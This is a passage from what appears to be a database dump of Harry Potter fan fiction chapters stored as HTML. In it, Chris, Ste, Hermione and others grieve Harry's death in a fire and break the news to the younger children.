of it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry looked at his son, &#8220;Chris, we would never forget about you! Your out\nfirst son&#8230; we will always love you just as much as we love Brandon.&nbsp; Where\ndid you get a crazy idea like that?&#8221; Harry asked wondering where his son heard\nsuch and absurd idea.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Mark Anthony&#8230; he told me that when a new kid comes in your life your parents\nforget about you.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Who&#8217;s Mark Anthony?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ste&#8217;s cousin from Ireland.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Well don&#8217;t listen to him&#8230; you&#8217;re my little screwball and nothing will change\nthat&#8230;.no matter how many brothers or sisters you may have.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris nodded, happy that he wasn&#8217;t going to be left to himself now that Brandon\nwas born, &#8220;What&#8217;s a screwball?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(~**End Flashback**~)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris came back to the present when he heard a knock at the window of the\ncar.&nbsp; He looked out it and saw that it had started raining and that Ste\nwas back with Brandon.&nbsp; Chris got out of the car and saw that Paul was\nsitting with his mother calming her down.&nbsp; He looked at Brandon, he was\nstill so young and had so much to learn, and he had to experience the\ntruth&#8230;even if it did mean telling him about his father and that he was dead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nBrandon looked at Chris, &#8220;What&#8217;s wrong Chris? Why am I here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Come on&#8230; come with me.&#8221; He looked at the ground and took his little brother\nover to a tree that was still dry.&nbsp; They sat down and Chris looked at\nBrandon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Brad&#8230; Something happened and I need to tell you this.&nbsp; It&#8217;s not going to\nbe easy and your gonna be very upset&#8230;So I think it would be best if you waited\ntill after I&#8217;m done to say anything&#8230;ok?&#8221; Brandon nodded, &#8220;Good&#8230; now buddy there\ncomes a time in a persons life when God decides it there time to come with him&#8230;\nand today was a certain persons day&#8230;&#8221; He stopped trying to find the right\nwords, &#8220;Brandon&#8230; God decided that today was dad&#8217;s day to become an Angel and go\nwith him to help him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What do you mean by that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Brandon&#8230;dad&#8230;well dad&#8230;He died today Brandon.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nBrandon was shocked he didn&#8217;t know what to think or say, all he could do was\nlean on Chris and\ncry.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris patted\nhim on the back telling him it&#8217;s ok, but silently Chris himself was crying.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nAfter Ste left Chris and Brandon he went back to the car Kat was in and got in\nthe passengers seat. And looked at Kat, she had obviously been crying while he\nwas gone.&nbsp; He put a reassuring hand on her shoulder; she looked at him and\ngave him a hug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nThe boy&#8217;s in the back seat were silent knowing something was up but they didn&#8217;t\nwant to say anything&#8230; but Nick wanted to know and volunteered to ask, &#8220;Ste what\nin blazes happened out there? Was someone hurt?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Nice wording Nick!&#8221; Boomer said hitting him in the arm hard</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Hey!&#8221; Nick said hitting him back, &#8220;I just wanted to know.&#8221; He said getting a\nsofter tone.&nbsp; He looked at his brother, &#8220;Well&#8230;?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I can&#8217;t tell you yet&#8230;I&#8217;ll tell you in a bit.&#8221; Ste said turning on the\nradio.&nbsp;&nbsp; The song &#8216;Last Breath&#8217; by Creed came on and Ste couldn&#8217;t\nstay in the car, &#8220;I&#8217;ll be back&#8230;I&#8217;m going to find Chris.&#8221; He said getting out of\nthe car.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nKat looked at him knowing he was just as upset as Chris and Brandon; he walked\nover to Harry&#8217;s car and looked around to see if he could find Chris.&nbsp; He\nsaw Hermione over by a fire truck wiping the tears from her eyes.&nbsp; He\nwalked over to her and looked down at her, &#8220;Iiiiii&#8230; Iii&#8217;m Rrreeallly ss&#8230;sorry.&#8221;\nHe stuttered out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione looked up at him with red swollen eyes, &#8220;Thank you&#8221; she said, barley a\nwhisper escaping her mouth.&nbsp; She stood and hugged Ste very tightly, &#8220;this\nshouldn&#8217;t have happened.&#8221; She cried out crying on his shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I kknow&#8230;bb..but ii..it dd, did.&#8221; Ste said trying to control his stutter. After\na few moments he spoke again, &#8220;Aunt Hermione, what- w..What about myyyyyy\nfather and mother?&#8221; He had finally been able to control it a bit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Oh My God! I forgot about Ron!&#8221; Hermione said shocked, &#8220;I need to get a hold\nof&nbsp; him&#8230;. I can&#8217;t use and owl that would be to long&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Call his cell, mum taught him how to use one&#8230; he doesn&#8217;t yell in them\nanymore.&#8221; Ste said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Oh good, I better call him&#8230; could you find Chris and Brandon&#8230; Brandon has to\nbe devastated he needs someone to talk to besides Chris.&nbsp; You mine as well\ntell the other boys they&#8217;ll have to find out sooner or later.&#8221; Hermione turned\nand left toward a phone booth by her car. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nSte stood and followed her until they got to the car, Ste climbed in and closed\nthe door.&nbsp; He sat there then looked at Kat and turned off the radio.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ste put it back on!&#8221; Nick said to him, he reached for the knob but Ste grabbed\nhis hand, &#8220;STE!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Nick will ya sit down I need to tell you guys something!&#8221; Ste snapped. Nick\nsat back in his seat, &#8220;Guys im not gonna lie to ya&#8217;s you need to know the truth\nabout pain and I&#8217;m gonna tell you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What happened?&#8221; Nick said</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Guys, before I say anything I need you guys to promise me you&#8217;ll help Brandon\nand James threw this time.&#8221; They all nodded, &#8220;Guys Brandon&#8217;s father died today,\nin that fire over there&#8230; and there all upset&#8230; now I don&#8217;t mean to tell you all\nthis and just leave but I need to find Chris and Brandon&#8230; Nick Aunt Hermione is\ncontacting dad so he might be comeing to the back.&#8221; Ste looked at Kat who was\ncrying silently in the drivers seat, &#8220;I&#8217;ll be right back with Brandon and you\nguys could come see him for a while and I&#8217;ll find out what were gonna do\ntonight &#8230; So just sit tight and I&#8217;ll be back ok.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nSte got out of the car, it had started to rain a bit more heavily, and he went\nlooking for Chris and Brandon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris and Brandon were sitting on their log Brandon was crying for a while and Chris\nwas just rubbing his back, and soon enough he had silently fallen asleep in\nChris&#8217;s arms.&nbsp; Chris decided to take him back to the car so he wouldn&#8217;t\nget cold.&nbsp; He lifted Brandon in his arms and started walking to Harry&#8217;s\ncar.&nbsp; When he got there and had Brandon laying down in the back seat he\nheard Ste yelling his name.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Chris! Chris!&#8221; Chris turned around and saw his friend running towards him,\n&#8220;Chris your mum is looking for you.&#8221; Ste said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ok, I just had to put Brandon in the back here, he cried himself to sleep.&#8221;\nChris gave a small sniff.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nSte clapped him on the shoulder, &#8220;It&#8217;ll be all right mate&#8230; we&#8217;re here for\nya.&#8221;&nbsp; Chris grabbed him into a hug and started crying freely, Ste stood\nthere and squeezed his best friend and cried himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nFrom Hermione&#8217;s car Kat saw the two standing there and once more cried </p>\n\n<p class="MsoNormal">For her friend and her boyfriend&#8230; she\nlooked at the boys in the back seat, they were as quiet as could be and Nick\nhimself was crying knowing that it couldn&#8217;t be possible.&nbsp; Kat took his\nhand and squeezed it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/n* Wow! I&#8217;m so0o sorry about the\nlateness of this chapter&#8230; I&#8217;ll try harder to get the next one up faster&#8230;for\nthose who got REALLY pissed off for the last chapter I couldn&#8217;t help it&#8230;.but if\nyou keep reading I&#8217;ll be grateful&#8230; please r/r!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(277, 4, '\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter 4</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Unexpected </p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione had just got off the phone with a frantic Ron.&nbsp; She walked over\nto Paul looked at the burning mass, &#8220;What will you do when this is out?&#8221; she\nasked him as she watched the flame engulfed building start to waver into\nsmaller flames.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Well, we&#8217;ll have to see what caused the damage and then find Potter.&#8221; He\nstopped a bit and looked at the ground, &#8220;I still don&#8217;t know what would make\nthat man go into a burning building with out any protection&#8230; breathing wise.&nbsp;\nHe could have died just from the smoke in his lungs.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Please&#8230;&#8221; Hermione said turning her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Sorry&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What should I do?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;My words of wisdom would be to go home with your children and try and calm\ndown a bit&#8230; what ever happens now will keep you posted&#8230;this fire won&#8217;t be out\nfor a while&#8230;there are still three active sections in the building that could\ncause major explosions and I don&#8217;t want people around to get the chemicals in\nthere lungs especially not you or your children.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Well you know what&#8217;s best here&#8230;&nbsp; Please keep me posted&#8230;&#8221; Hermione turned\nto leave.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nShe had walked back to her car where the boys and Kat where sitting silently\nand she told Kat that she could leave with the boy&#8217;s in Harry&#8217;s car and that\nshe would drive her car home.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I&#8217;m sorry Hermione.&#8221; Was all Kat could muster up to say.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione just nodded and got in the car.&nbsp; Kat went over to where Chris and\nSte were standing looking at the building.&nbsp; She went up to Chris and\nhugged him around his middle. &nbsp;Chris looked at her, tears still streaming\ndown her eyes; he lifted her face to his and gently kissed her.&nbsp; He gave\nher a hug and held her tight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Your mum said that we better get going she&#8217;s going to take Nick and everyone\nelse back and we&#8217;ll go in here.&#8221;&nbsp; She looked in the backseat at Brandon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris couldn&#8217;t speak, he was too shocked to understand any of it he felt that\nhe just had his heart ripped out and mashed in a blender, he felt it wasn&#8217;t\nreal, that it was all just a sick dream that he would snap out of at any\nsecond.&nbsp; He got in the drivers seat of the car as Kat got in the\npassengers and Ste got in the back and placed Brandon&#8217;s head on his lap as not\nto wake him.&nbsp; Chris started the car and drove off silently.&nbsp; After\nsome time it was getting a bit too quiet for Chris&#8217;s liking, so he turned on\nthe radio.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nKat looked at him, she had never seen Chris so upset, with so much pain inside him.&nbsp;\nShe reached out and put her hand on his, Chris looked at her and gave what Kat\nthought was a tiny smile.&nbsp; He gave her hand a soft squeeze as he drove. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~&#8217;*&#8217;~</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nWhen Chris and everyone got home, Hermione was already there but she was still\nin the car.&nbsp; Chris and everyone got out of the other car, Ste carrying\nBrandon, and told them to go inside and that he&#8217;d be in, in a minuet.&nbsp;\nWithout any problems Kat and Ste went inside while Chris walked over to his\nmother.&nbsp; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nThe other kids had left the car and were obviously in the house.&nbsp; Chris\nopened up the passengers seat and got in with his mother.&nbsp; He sat there\nfor a few minuets not saying anything, nor Hermione.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Mum&#8230;&#8221; He said slowly.&nbsp; Hermione didn&#8217;t say anything, she just looked at\nhim, &#8220;Wanna talk&#8230;&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione gave a small sniffle and took her son&#8217;s hand, &#8220;I think we should.&#8221;\nHermione said whipping a stray tear from her eye, &#8220;But we need to go and pick\nup James&#8230; it&#8217;s almost three-thirty, he&#8217;ll be waiting for your father.&nbsp;\nThen we need to get Mandy from Lavender, she has to get to her mothers&#8230;&#8221;\nLavender had to go to her mothers because her father was very sick and wanted\nthe family there for support.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ok&#8230;&#8221; Chris said as Hermione started the car.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nSte was watching threw the window as Chris and Hermione pulled out of the\ndriveway.&nbsp; He turned to Kat who was sitting on the couch, the rest of the\nkids where on the floor watching the TV while they waited for Brandon to wake\nup.&nbsp; Ste turned to Kat and looked her in the eyes, &#8220;They left&#8230;&#8221; He said.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nJust then Brandon started to stir on the couch, and he opened his eyes.&nbsp;\nHe looked around seeing everyone around him.&nbsp;&nbsp; He sat up and looked\nat Ste and Kat, he seemed to have forgotten what had him so tired.&nbsp; He\nlooked at Nick and said with a yawn, &#8220;I think we should go to the garage and\nstart practicing.&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;But Brand&#8230;&#8221; Nick started to say but Ste gave him a look that said &#8216;Just go&#8217;,\n&#8220;Ok&#8230; c&#8217;mon guys let&#8217;s go.&#8221;&nbsp; Nick, Brandon, and the rest of there friends\nleft threw the back door and into the garage.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nKat turned the Ste, &#8220;That was weird&#8230; wouldn&#8217;t you say?&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;No, I think he knows what happened&#8230; but just doesn&#8217;t want to show his feelings\nin front of his friends.&#8221; Ste looked back out the window, &#8220;James will be home\nsoon I expect&#8230; and Mandy&#8230;&nbsp; I wonder how they&#8217;ll tell them.&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nFor the next half hour Kat and Ste sat in the living room waiting for Chris to\ncome home.&nbsp; It was about three thirty when they got home, Ste was asleep\non the couch and Kat was flipping threw the TV channels when the door busted\nopen and a very upset Chris stormed in the hallway.&nbsp; The bang was so loud\nthat Ste almost fell off the couch in shock.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris didn&#8217;t even look at them the sprinted up the stairs and then stomped up\nanother set of stairs and the door slammed.&nbsp; The next thing that happened\nwas a rush a loud hard music.&nbsp; Ste looked at Kat and mouthed out &#8216;<i>the\nattic</i>&#8217; Kat shook her head; she was clueless to the situation.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;He&#8217;s up in the attic&#8230; it&#8217;s like his second bed room. I better go and talk to\nhim.&#8221;&nbsp; Ste got up righ when Hermione came in holding a crying James at her\nside and Mandy at her side.&nbsp; Ste walked over to his little sister and\npicked her up, she obviously was upset, Ste looked at Hermione.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I&#8217;ll tell you later&#8230; he&#8217;s upset, Chris is devastated and Mandy here doesn&#8217;t\nknow what to say or think.&nbsp; I think you better talk to her, I- I need to\nfind out what were going to eat.&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;No! You&#8217;re not doing anything&#8230; I&#8217;ll call and get some pizza&#8217;s my treat&#8230; this\nisn&#8217;t a time for you to be cooking.&#8221; Ste said.&nbsp; Hermione nodded and took\nJames into the kitchen.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">~&#8217;*&#8217;~</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris was up in the attic; up there it was black.&nbsp; The walls were painted\na deep midnight black, he had a mattress by the window with a fleece blanket on\nit, and a flat pillow with practically no stuffing in it.&nbsp; He had a nice\nnew stereo up there with all his hard rock and rap Cd&#8217;s that he would listen to\nwhen he was upset.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris sat there just looking at the wall, alone, with no noise but the little\nbit comeing from his garage where Brandon was practicing for his\ncompotation.&nbsp;&nbsp; He sat and listened to the music and just thought\nabout things that didn&#8217;t matter or were really not even questions with\nanswers.&nbsp; He sat like that for a while until there was a soft knock at the\ndoor.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Cm&#8217;in&#8221; He said not even caring who it was.&nbsp; The door opened and Kat\nstepped in with James by her side.&nbsp; Chris looked at them he saw his\nyoungest brother looking at him.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;James wanted to see you, he was upset and felt he needed someone to talk to\nbesides your mum or Ste or me.&#8221; Kat explained.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I see&#8230;&#8221; Chris said just looking at them, &#8220;Come here lil buddy.&#8221; Chris said\nholding out his arms.&nbsp; He felt happy knowing that his little brother\nwanted to come to him for someone to talk to.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I&#8217;ll let you to alone then, Ste is ordering some pizza later is that ok with\nyou two?&#8221; She asked.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p 